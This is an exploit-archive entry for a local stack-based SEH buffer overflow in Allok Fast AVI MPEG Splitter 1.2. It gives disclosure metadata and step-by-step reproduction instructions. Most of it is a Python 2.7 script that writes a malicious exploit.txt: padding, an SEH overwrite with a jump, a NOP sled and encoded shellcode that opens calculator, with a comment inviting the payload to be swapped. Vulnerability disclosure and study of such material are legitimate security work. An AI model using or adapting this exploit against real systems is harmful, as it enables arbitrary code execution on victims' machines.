Fast AVI MPEG Splitter 1.2 Buffer Overflow

2018.03.27
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# SWAMI KARUPASAMI THUNAI # ############################################################################### # Exploit Title: Stack Based Buffer Overflow in Allok Fast AVI MPEG Splitter 1.2 (Windows XP SP3) # Date: 06-03-2018 # Exploit Author: Mohan Ravichandran & Velayutham Selvaraj # Organization : TwinTech Solutions # Vulnerable Software: Allok Fast AVI MPEG Splitter 1.2 # Vendor Homepage: http://www.alloksoft.com # Version: 1.2 # Software Link: http://www.alloksoft.com/allok_vconverter.exe # Tested On: Windows XP Service Pack 3 (Version 2002) & windows 7 x64 Ultimate # # Credit to Velayutham Selvaraj for discovering the Vulnerbility # Vulnerability Disclosure Date : 2018-03-06 # # Manual steps to reproduce the vulnerability ... #1. Download and install the "setup(allok_fast_avimpegsplitter.exe)" file #2. Run this exploit code via python 2.7 #3. A file "exploit.txt" will be created #4. Copy the contents of the file and paste in the License Name field # Name > exploit.txt #5. Type some random character in License Code #6. Click Register and voila ! #7. Boom calculator opens # ############################################################################## import struct file = open("exploit.txt","wb") buflen = 4000 junk = "A" * 780 nseh = "\x90\x90\xeb\x10" seh = struct.pack("<L",0x10019A09) nops = "\x90" * 20 # The below shellcode will open calculator, but can be modified by need. shellcode = "" shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" shellcode +="\xc4\xd9" exploit = junk + nseh + seh + nops + shellcode fillers = buflen - len(exploit) buf = exploit + "D" * fillers file.write(buf) file.close()


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